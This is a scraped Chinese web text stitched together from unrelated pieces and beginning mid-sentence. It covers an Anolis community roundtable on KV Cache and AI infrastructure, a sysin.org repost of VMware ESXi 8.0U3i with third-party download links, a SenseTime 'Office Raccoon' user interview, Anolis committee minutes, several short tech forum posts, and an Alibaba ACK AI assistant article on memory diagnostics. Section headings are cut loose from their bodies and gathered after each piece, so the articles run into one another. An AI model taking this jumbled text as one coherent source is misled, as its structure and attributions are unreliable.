RDMA）已不再是瓶颈，关键在于如何利用高性能网络提升算力利用率。他提出，CXL 协议的出现为 KV Cache 传输提供了新思路，它既能作为高速内存扩展，又能作为存储接口，支持小数据、离散数据的高效传输。近日，浪潮信息已基于 Mooncake 社区开展 CXL 相关集成工作。 龙蜥社区智算联盟主席宋卓强调，在包含多种 GPU 的集群中，不应盲目混用所有卡型，而应基于业务负载（计算密集型、存储密集型），如：长上下文等，制定明确的调度策略。他提出，需结合 KV Cache 池进行分级管理，并对不同算力的硬件差异能够 aware 感知，同时建立完善的容量评估，SLO 保障、资源监控与运维体系。 浪潮信息系统软件研发经理 Andy Cao 补充，浪潮信息的核心理念是“以应用为导向，以系统设计为核心”。他认同宋卓的观点，认为调度需区分不同 Workload，将计算密集型任务分配给算力强的 GPU，带宽密集型任务分配给带宽强的 GPU。同时，资源池化是关键，通过将 KV Cache 从单一节点解耦，形成共享池，可更灵活地匹配不同应用的复用需求，最大化整体资源利用率。 中国科学技术大学特任副研究员白有辉认为，学术界在稀疏 KV Cache 存储方案上的研究（如动态 Top-K 选择）已相对成熟，但落地困难。主要原因在于：工业界对算法精度存疑，以及系统改造成本高。他建议，应通过开源共享研究成果，并与有真实需求的公司合作，搭建基于特定算法的 KV Cache 服务平台，是推动落地的有效路径。 摩尔线程副总裁王华指出，软硬件协同是核心，需从底层硬件（显存、带宽）到驱动、算子库、编程接口提供全面支持。他强调，优化需结合特定硬件（如 H800 与H20）的特性进行定制，形成从框架调度到底层算子的全栈优化。 沐曦股份研究院院长李兆石展望未来，认为国内生态已进入“引领创新”的阶段。他预测，随着 DeepSeek 等开源项目推动的 PD 分离等架构被国外广泛借鉴，未来国内的 AI Infra（如 Mooncake、SGLang）将反向驱动国内硬件创新，例如 GPU 直接访问对象存储、绕开 CPU 的新型存储栈等。 摩尔线程副总裁王华对 CXL 用于超节点的 KV Cache Offload 持保留态度，认为其需经 CPU 中转，延迟优势不明显，分布式存储才是更可靠的方案。他看好 CXL+DRAM+SSD 的异构分层系统。 沐曦股份研究院院长李兆石认为，超节点（如 GB200/GB300）的出现使 KV Cache 的分层存储更具经济性和必要性。浪潮信息系统软件研发经理 Andy Cao 指出，若 CXL Switch 普及，GPU 可直接通过南向互联访问 CXL 内存，有望将传统四层（HBM→Local SSD→Ethernet）简化为两层，核心在于计算能否覆盖传输延迟。 中国科学技术大学特任副研究员白有辉总结，当前 KV Cache 系统呈现 L1（HBM）、L2（CPU 内存）、L3（分布式池）的三层结构。随着上层应用（Agent）和算法（如动态稀疏）的演进，以及底层硬件（CXL、SSD）的迭代，中间层将不断丰富（如 L2.5、L4），系统将变得极为复杂。未来的关键是构建一个灵活、可扩展的系统框架，使其能包容任何硬件和算法的变革，实现“以不变应万变”。 此次圆桌讨论清晰勾勒出大模型时代 AI 基础设施的演进方向：硬件创新需与算法突破深度耦合，系统优化必须面向真实业务场景，而生态建设则依赖开源社区的协同共建。 从 KV Cache 管理到超节点架构，从异构调度到软硬件协同，每一个环节都既充满技术挑战，也蕴含弯道超车的机遇。这要求产业界建立更加灵活、可扩展的技术框架，以"以不变应万变"的系统思维，包容算法与硬件的快速迭代。龙蜥智算联盟将持续凝聚产学研力量，推动国内 AI 基础设施走向开放、高效的新阶段。 最后，感谢各位嘉宾的精彩分享，也感谢金美琴、宋卓、章津楠、潘珏君、李军等智算联盟成员对本场圆桌的组织和支持。
1、KV Cache 与显存瓶颈：硬件与算法的协同优化
2、跨节点 KV Cache 传输：网络与协议的革新
3、异构算力调度：统一管理与资源池化
4、学术成果向工业实践的转化
5、软硬件协同：从适配到引领
6、超节点场景下的KV Cache与系统演进
（图/圆桌分享嘉宾）
VMware ESXi 8.0U3i 发布 - 领先的裸机 Hypervisor 同步发布 Dell (戴尔)、HPE (慧与)、Lenovo (联想)、Inspur/IEIT SYSTEMS (浪潮)、H3C (新华三)、Cisco (思科)、Fujitsu (富士通)、Hitachi (日立)、NEC (日电)、Huawei (华为)、xFusion (超聚变) OEM 定制版 请访问原文链接：https://sysin.org/blog/vmware-esxi-8-u3/ 查看最新版。原创作品，转载请保留出处。 作者主页：sysin.org 2026-02-24，ESXi 8.0U3i 发布，例行更新。 VMware ESXi - 领先的裸机 Hypervisor VMware ESXi：专门构建的裸机 Hypervisor 了解可直接安装到您的物理服务器的、可靠的裸机 Hypervisor。通过直接访问并控制底层资源，VMware ESXi 可有效地对硬件进行分区，以便整合应用并降低成本。它是业界领先的高效体系架构 (sysin)，在可靠性、性能和支持方面树立了行业标杆。 IT 团队肩负着适应不断波动的市场趋势并满足更高客户需求的持续压力。与此同时，他们还必须延伸 IT 资源以适应日益复杂的项目。幸运的是，原名为 ESX 的 ESXi 可帮助均衡以下两种需求：提高业务成效和实现 IT 成本节约。VMware ESXi 使您能够： ESXi 可将多台服务器整合到较少物理设备中，从而减少对空间、电力和 IT 管理的要求，同时提升性能。 客户可以将 ESXi (ESX) 作为付费 vSphere 版本的一部分使用或与免费的 vSphere Hypervisor 版本配合使用，这样，您便可以在几分钟内轻松创建并置备虚拟机。 vSphere 利用您的基础架构和应用实现最佳性能、可用性和效率。vSphere 是所有云环境的理想基础。 vCenter Server 扩展 ESXi 的功能，从而最大限度地降低 IT 复杂性，减少管理难题。 vSphere Hypervisor 下载能够虚拟化服务器的免费裸机 Hypervisor，以便将应用整合到更少的硬件上。 VMware vSphere Hypervisor (ESXi) 8.0U3i 下载地址：https://sysin.org/blog/vmware-esxi-8-u3/ OEM Custom Image： 本站定制映像： 相关产品：
产品简介
ESXi 的优势
功能特性
尽管 ESXi 占用空间仅为数百 MB，却可实现更多功能 (sysin)，同时还能最大限度地降低 Hypervisor 的安全风险。
适应任何规模的应用。虚拟机配置最高可达 768 个虚拟 CPU、24 TB 的 RAM 和 1024 台设备，以满足您的所有应用需求。咨询各项解决方案限制以确保您不会超过您环境的受支持配置。
利用强大的加密功能保护敏感的虚拟机数据。基于角色的访问可简化管理，而广泛的日志记录和审核可以更好地落实责任，还可更加轻松地进行取证分析。
获取对由硬件 OEM 供应商、技术服务合作伙伴、应用和客户机操作系统组成的广泛生态系统的支持。
利用基于 HTML5 标准的内置现代 UI 管理日常行政操作。对于需要实现运维自动化的客户，VMware 提供 vSphere 命令行界面和便于开发人员使用、基于 REST 的 API。产品选项
相关产品
下载地址
File Name: VMware-VMvisor-Installer-8.0U3i-25067014.x86_64.iso
File Name: VMware-ESXi-8.0U3i-25067014-depot.zip
这次我们对谈的嘉宾是李女士，她是一位医学研究人员。 在医学研究行业，数据不仅是数字，更是医疗质量的生命线。几万条药物信息、复杂的编码、繁琐的查重标注……这是李女士曾经的“日常大山”。 直到今年3月，一个叫“办公小浣熊”的 AI 工具闯入她的视野。从最初的抱着试一试，到如今的“深度依赖”，她甚至将它安利给了统计分析领域的泰斗。让我们来听听他的故事： Q：还记得第一次用小浣熊时的场景吗？ 李女士： 印象太深了，那简直是一个“奇迹时刻”。当时我手里有一张包含几千条诊疗数据的 Excel，要完成三个“连环动作”： Q：那小浣熊是怎么处理的？ 李女士：直接把文件传上去，像聊天一样下达了指令。它只用了3分钟！导出的表格里，纵列标红、横行标黄，准确无误。那一刻我就知道，它真的懂数据，更懂我们的业务逻辑。 Q：您说现在您已经成了高频用户，主要把小浣熊用在哪些场景里？ 李女士： 我现在每周雷打不动要用三四次。医学行业数据把关非常严苛，我主要用它守住三个关口： Q：量化一下，这到底解放了你多少精力？ 李女士： 保守估计，每周至少节省 10 个小时。以前需要 4-5 小时的复杂上报任务，现在全流程缩短到1小时以内，效率提升了80%以上。 Q：听说你还把这个工具安利给了国内统计学的顶级专家？ 李女士： 没错。我推荐给了一位国内的统计大咖。我觉得像小浣熊这种理解力，对专业统计人士也极具价值。因为它解决了数据预处理阶段最头疼的问题：低门槛、理解中文专业术语、支持连续多步操作。 一个工具好不好用，专业人士一试就心领神会。 Q：对比过其他 AI 工具吗？它的核心壁垒在哪里？ 李女士： 试过很多。国外的工具理解不了特定中文语境下的行业术语；通用的对话 AI 处理大表格经常卡死。 Q：作为“资深老友”，你对小浣熊还有哪些进化的建议？ 李女士： 我有两个很具体的期待： Q：最后，你会怎么定义小浣熊在你工作中的角色？ 李女士： 它不仅仅是一个工具，更像是我的 “数据管家”。它负责处理掉那些繁琐、重复、容易出错的“体力活”，让我能把精力真正放在需要专业判断的质控分析上。 （本文内容根据用户真实采访整理，感谢李女士的分享。） 李女士的故事让我们看到，AI 并不遥远。它不是要取代专家，而是要成为专家的“外挂”。真实的用户故事，最有说服力。在「用户对谈」系列里，我们希望走进不同行业、不同岗位的一线工作者，听他们讲述 AI 如何融入日常工作，解决了什么问题，改变了哪些流程。希望通过真实的使用场景和客观的效果反馈，或许能给你一些启发：AI 不是遥不可及的技术概念，而是能真正帮你节省时间、提升效率的实用工具。
Part 1. 惊艳瞬间：3 分钟，搞定了半天的工作量
一套流程走下来，至少耗掉大半天，眼睛还容易看花。Part 2. 深度应用：从“繁琐搬砖”转向“专业把控”
Part 3. 行业口碑：连统计分析大牛也“入坑”了
小浣熊的优势在于 “稳”且“准”，处理几万条数据不卡顿，而且它懂中国人的表格逻辑。Part 4. 真实反馈：它是生产力，也是期待
后记
每周节省的 10 小时，不仅是时间，更是认知带宽的释放。
当繁琐的筛选与标注交给机器，人类的智慧才能真正回归到“风险研判”与“流程优化”本身。
而她对办公小浣熊的更高要求，也是办公小浣熊不断优化的方向。
我们将持续深耕专业场景，让 AI 真正成为每一位行业专家的效率“外挂”。「商汤小浣熊」是商汤科技推出的 AI 原生生产力体系，面向下一代办公方式而构建，包括办公小浣熊 & 代码小浣熊。在这里，软件研发、数据分析、任务规划、结果交付均由 AI 直接驱动，工作链路由 AI 重新定义。超过 300 万用户与 1000+ 企业，正与小浣熊一起推动这一场新的办公升级。欢迎关注商汤小浣熊的官方公众号、进入官方社群或访问官网获取更多信息，了解更多行业 & 场景解决方案。
近日，龙蜥社区分别召开了第 27 次技术委员会会议和第 39 次运营委员会会议。会上就 2025 年度成果做了回顾与总结，并围绕社区技术项目、2025 年度 3 大运营目标进展、联盟运作情况等进行了同步和探讨。本次会议，来自 25 家理事单位的 49 位委员及委员代表出席，技术委员会会议由浪潮信息徐国振主持，运营委员会会议由普华基础软件杨芳主持。 本次会议由浪潮信息徐国振主持，会议围绕星绽 Asterinas 项目、Intel 第七代 Xeon 平台 DMR 在 GCC 15 等工具链的支持现状、龙蜥在 ANCK 6.6 内核版本研发新的 LTS 同步机制等议题展开讨论。 蚂蚁技术研究院的田洪亮介绍了星绽 Asterinas 项目，旨在构建一个生产级别的国产 Rust 语言操作系统内核，以实现从发行版到内核层面的完全自主可信。该项目采用全 Rust 开发，具备内存安全优势，并提出‘框内核’架构，在保证宏内核性能的同时实现微内核级别的安全性。 Intel 的刘洪涛介绍 Intel 第七代 Xeon 平台 DMR 在 GCC 15 及相关工具链中的支持现状，并提议在 Anolis OS 23.5/23.6 中通过 multi-toolchain 机制引入对 GCC 15 工具链的支持。 阿里云谭钦云介绍了当前龙蜥社区在 ANCK 6.6 内核版本研发过程中，通过 rebase 的方式来同步内核上游 LTS 所引入的稳定性风险，以及对内核相关基础设施的影响，为此提出了新的 LTS 同步机制，通过引入内核补丁自动化同步平台，实现对上游 Linux 6.6 LTS 分支的持续监控、智能合入与质量闭环，进而提升研发效率与系统稳定性。 圆桌环节，技术委员会主席杨勇介绍龙蜥社区 1 月理事大会通过的决议信息，其中龙蜥社区支持范围从 CPU 厂商扩展至 GPU 厂商，以应对 AI 时代算力生态的发展趋势，同时也感谢 1 月各家对社区的贡献。 最后技术委员线上合影留念，本次月会圆满结束。 本次会议由普华基础软件杨芳主持，主要围绕 2025 龙蜥社区年度回顾做了总结，同步了全年龙蜥社区 3 大运营目标、联盟运作情况及 2026 年社区贡献体系迭代规划等内容。 会议伊始，运营委员会主席陈绪做开场发言。他提到，龙蜥社区的组织架构与运营模式获得业界广泛认可，不仅吸引阿里云内部多个社区前来学习借鉴，也赢得了开放原子与天工开物两大开源基金会的积极支持。随后，陈绪解读了《2025 龙蜥社区年度回顾》海报，该海报也将作为年度惯例于春节假期前在社区公众号推出。他强调，龙蜥的组织活力和行业影响力有目共睹，而这一切离不开每一位成员的深度参与，这既是企业技术能力建设的助推器，也是个人在开源社区留下价值印记的宝贵机会。 接着，运营委员会副主席、联盟生态负责人金美琴围绕“2025 龙蜥年度三大运营目标”及智算联盟与安全生态的实际运作进行了整体同步。她介绍，2025 年龙蜥社区运营目标取得扎实进展，全年用户案例同比增长 58%，重点活动数量保持 50% 以上增速，超过 60% 理事完成贡献牵引目标。龙蜥社区安全联盟在软硬件安全与供应链安全工作的基础上，联盟围绕年度目标推动多款安全软件完成适配，联合输出多个行业解决方案，并成功举办多场重点活动，联盟厂商参与率达 72%，成员单位参与度显著提升。龙蜥社区智算联盟自 2025 年 8 月成立以来，各 TG 工作组工作正有序推进，各位组长围绕算子优化、性能测试及智算运维等方向分别同步，同时信通院也邀请联盟厂商积极参与人工智能相关标准的建设，智算联盟在社区生态中的身份进一步明确。 随后，运营委员蔡佳丽、胡捷和袁艳桃分别做了社区贡献体系迭代规划说明、2026 年中兴通讯和龙蜥的联合活动规划、龙蜥年度祝福等相关事宜。关于社区贡献体系，蔡佳丽提到，一是针对平台功能的优化；二是新增和调整部分提报类目；其目的是为消除提报歧义，提升规则透明度。 本次会议总结了过去一年龙蜥社区在技术创新、生态建设和开源协作等方面取得的显著成果，同时，也为新一年的发展指明方向。未来，社区将持续通过与合作伙伴开源共建，推动操作系统与 AI 基础设施的发展。 最后参会委员线上合影留念，本次月会圆满结束。感谢龙蜥社区的委员代表参与本次社区会议，本次会议内容将会继续同步在「社区品牌推广 SIG」中，欢迎关注。 —— 完 ——第 27 次技术委员会会议：ANCK 6.6 内核版本研发新机制、第七代 DMR 在 GCC 15 的支持现状等
（图/部分参会技术委员合影）第 38 次运营委员会会议：年度运作报告和联盟生态进展同步
（图/部分参会运营委员）
之前用 Antigravity-Manager 发现一个非常好的功能：请求日志管理。
每次 opencode 跟大模型交互时，都会记录下完整的 http 请求报文，这样可以看到 opencode 给大模型发了什么提示词。
实现思路应该类似一个 nginx 反代，opencode 请求 NGINX ，这个时候就能记录请求体，然后再转发给真实的大模型网站。
Antigravity-Manager 好像不支持自己自定义模型，我没找到配置的地方，请问是否有类似项目实现了大模型请求日志管理这个功能呢？
xshell xftp 过段时间让我升级一次 然后注册登录 很多次了 有没有大佬推荐个差不多的
大家好，
最近在做 Go 的 Web 项目选型，看了一圈生态里的框架，希望能找到一款偏向开箱即用的模板。想请大家推荐一下：
我理想中的框架特性：
开箱即用：不想从零开始拼凑路由、日志、配置和 ORM 等基础组件，希望能有一套成熟的默认约定。
深度集成依赖注入（ DI ）：希望框架能很好地管理对象的生命周期和依赖关系。
集成 GORM：因为业务原因，需要 GORM 作为核心的数据库 ORM 工具。
支持垂直切片架构（ Vertical Slice Architecture ）：这点极其重要！我不希望代码是按“技术职责”横向分层的（比如所有 controller 在一个包，所有 model 在一个包）。我希望框架的推荐实践是按“业务模块”来组织代码的。例如一个用户的业务，其结构应类似于：
/user
├── user.model.go
├── user.repository.go
├── user.service.go
└── user.controller.go
不知道大家有没有符合上述要求的脚手架或框架推荐？
另外，还有一个疑惑想和大家交流讨论：
在研究 Go Web 框架和各种开源模板的过程中，我发现一个现象：在 Go 语言生态中，大家似乎对“依赖注入（ DI ）”并不是特别热衷？
在 Java (Spring) 或 C# (.NET) 里，DI 几乎是刻在骨子里的标配，不使用 IoC 容器简直没法写代码。
想听听老哥们的看法，为什么 Go 的社区风气对 DI 容器显得比较克制？
是因为 Go 强调的“大道至简（ Keep it simple ）”和显式编程哲学？
是手动传递依赖在 Go 里写起来并没有那么繁琐？
还是说使用反射（ Reflection ）做运行期 DI 在 Go 中有什么性能隐患或难以调试的坑？
期待大家的框架推荐以及对 DI 问题的看法，提前感谢！
前提，本人对 go 语言没有任务基础，也是最近刚尝试使用。上面的讨论如有不当之处，请多多包涵。
在云原生时代，Kubernetes（K8s）虽已成为容器编排的标准，但其复杂资源管理场景却让运维团队饱受挑战。其中，节点和容器的OOM（Out of Memory）及内存异常占用问题尤为常见，如： 但是云原生内存问题排查起来又遇到重重阻碍，通常需要多方专业人员协助投入，耗时多天才能定位定位根因找到合适解决方案。 面对上述痛点，业界一直在探索更智能的解决方案。阿里云容器服务团队推出的计算 AI 助手（ 也称 ACK AI 助手）、ACK MCP 工具与阿里云基础软件团队推出 SysOM MCP 工具集正是为此而生；通过将 SysOM 专业系统诊断能力以 MCP形式深度集成至 ACK AI 助手，从而一句话闭环云原生内存问题。 ACK AI 助手是构建在阿里云容器服务 ACK 之上的智能运维助手。 容器服务 AI 助手深度融合操作系统能力，打造覆盖容器全生命周期（Day0~Day2）的智能运维体验。基于“卓越架构”理念，助手在稳定性、成本、安全与性能等维度提供最佳实践指导。 其核心能力包括： ACK AI助手也同样提供开源项目 ack-mcp-server tool集合 https://github.com/aliyun/alibabacloud-ack-mcp-server/，以提供用户在自己的AI Agent上构建阿里云容器服务 ACK、Kubernetes 领域的 SRE Agent。 SysOM MCP 项目内置超过 20 个操作系统控制台生产级节点/容器诊断工具： 对于内存问题，SysOM 内存工具覆盖从内核内存到应用内存的全方位内存分析，涵盖 10+ 内存异常场景： 看起来我们已经有了两个强大的工具 -- 一个懂业务，一个懂内核。但在针对本文聚焦的云原生内存问题上，它们各自都存在一些局限性。如日常定位云原生内存相关问题时，通常也需要结合云原生和操作系统的相关专业知识来排查，这也正是我们需要将它们结合起来的原因。 通过 ACK MCP 和 SysOM MCP 工具链，ACK AI 助手实现： 元数据自动关联：一次提问，AI 自动关联 Namespace → Deployment/Daemonset → Pod → Node → 实例规格，将 SysOM 的进程数据与 K8s 对象一一对应。SysOM 告诉你“是什么”（内核层面的内存异常根因结论），ACK MCP 告诉你“为什么”（K8s 配置上下文），两者结合才能形成完整的根因定位。 日志事件指标融合：OOM 发生时自动拉取容器日志、K8s Events、Prometheus 指标、审计日志等多维度数据。SysOM 提供“当前状态”（内存分布快照），Prometheus 提供“历史趋势”（何时开始异常），审计日志提供“变更事件”（是否与发布相关），三者交叉比对才能区分“流量突发”还是“版本缺陷”。 CASE 1: kubectl top node 内存占用和节点监控不一致 传统解决方案： 找到相关同学，获取具体指标的计算方式，检查计算差异，获取差异部分具体内存占用，得出数据不一致根因。通过 ACK AI 助手： 问题场景： 一个 netty 服务在生产环境运行一段时间后，开始频繁出现 OOMKilled 重启。容器配置了 4Gi 内存 limit，JVM 堆内存设置为 传统解决方案： 找到相关应用同学，通过各种各样 Java 问题排查工具，定位是哪部分内存使用不当导致；多方讨论如何改变设置或参数缓解问题。 通过 ACK AI 助手： 问题场景： 一个数据处理服务的 Pod 在运行过程中突然被 OOMKilled，但应用日志中没有任何内存异常的迹象，应用本身的内存占用也远低于 limits。用户百思不得其解：明明应用没用多少内存，为什么容器还是被 OOM 了？ 传统解决方案： 通过容器监控无法定位是哪部分内存占用导致 OOM，深入排查需要 SSH 登录节点、定位 cgroup 路径、手动解析memory.stat ，再与 Pod 配置交叉比对才能定位根因。整个过程涉及多系统切换、依赖内核经验，耗时长且门槛高。 通过 ACK AI 助手： 通过 ACK AI 助手 + SysOM & ACK MCP 的组合，云原生内存问题从"凭经验"变为"有系统、有规则、有工具"的标准化闭环能力。 这不仅仅是两个工具的简单叠加，而是 "云原生视角"与"操作系统视角"的深度融合——让运维人员只需要一句话，就能获得从业务层到内核层的完整诊断报告和可执行建议。 产品链接： ACK AI 助手功能说明文档： ACK MCP 官方开源 tool 工具集： SysOM MCP 操作系统控制台： 联系我们 若想使用更全面的 SysOM 功能，请登录阿里云操作系统控制台体验，地址：https://alinux.console.aliyun.com/ 您在使用操作系统控制台的过程中，有任何疑问和建议，可以搜索群号：94405014449 加入钉钉群反馈，欢迎大家扫码加入交流。云原生场景下节点/容器内存问题频发，内存一扩再扩
问题排查困难
应运而生：ACK AI助手与 ACK&SysOM MCP
ACK AI 助手 + ACK MCP：懂云原生业务场景的「智能 SRE」
智能诊断——通过环境全感知、多轮反问补充上下文，并协同多个专家 Agent 会诊，结合观测数据与领域经验，实现从异常发现、根因定位到一键修复的闭环；
集群优化——自动完成成本、安全、架构及弹性配置等多维度分析，生成可执行优化方案并预测效果；
智能健康检查——对集群、节点、Workload、网络、存储等全方位进行动态异常检测，融合大模型与算法，超越传统阈值告警；
同时支持复杂场景下的全自动 AIOps 流程，未来还将实现应用创建与资源管理的自动化，真正让容器服务更智能、高效、自愈。
SysOM MCP：深度操作系统诊断的「专业医生」
强强联合：云原生内存问题诊断闭环
为什么需要结合？
数据维度全面打通
具体问题 CASE
客户在日常巡检中发现一个让人困惑的现象：kubectl top node 显示节点内存使用率仅 60%，但云监控控制台显示该节点内存占用已达 85%，两者差异超过 20%。这种数据不一致导致团队无法准确判断节点的真实负载状态，也无法确定是否需要扩容。
CASE 2: Java 应用 pod 频繁 OOMKilled
-Xmx3g，理论上应该足够。但 Pod 仍然每隔几小时就被 OOM 终止一次，业务方抱怨服务不稳定。
CASE 3: Emptydir 使用不当导致 Pod OOMKilled
总结
https://help.aliyun.com/zh/ack/ack-managed-and-ack-dedicated/...
🌟 GitHub 地址：
https://github.com/aliyun/alibabacloud-ack-mcp-server/blob/master/README.md
🌟 GitHub 地址：https://github.com/alibaba/sysom_mcp
https://help.aliyun.com/zh/alinux/product-overview/what-is-th...
在当下大部分外国 dns 服务器都被污染和阻断直连的情况下，这个 dns 服务器直连效果简直快到发邪，而且在境内也没有任何污染
通过千问 app 成功点了外卖的后，关联的支付宝里面，大概就是红框的地方会多出来一个【AI 付】的东西，记得解除绑定，感觉这东西还是有点危险的（我已经解绑了，所以那个菜单就消失了）
碰一碰也是，总觉得这玩意太容易被盗刷了。
三房准备装修
布线大佬们看看对不对？
入户线-[光猫]-主路由-回程网线-[8 口小交换机]-各个房间有线 mess 子路由器
[] 位于弱电箱内
是不是需要回程网线这一根网线？
还是主路由直接短跳线交换机，分线到各个房间？
IPTV 需要单独布线还是共用一根网线到各个房间？
https://pic1.imgdb.cn/item/699d3baf01b9a5550a53bbd1.png
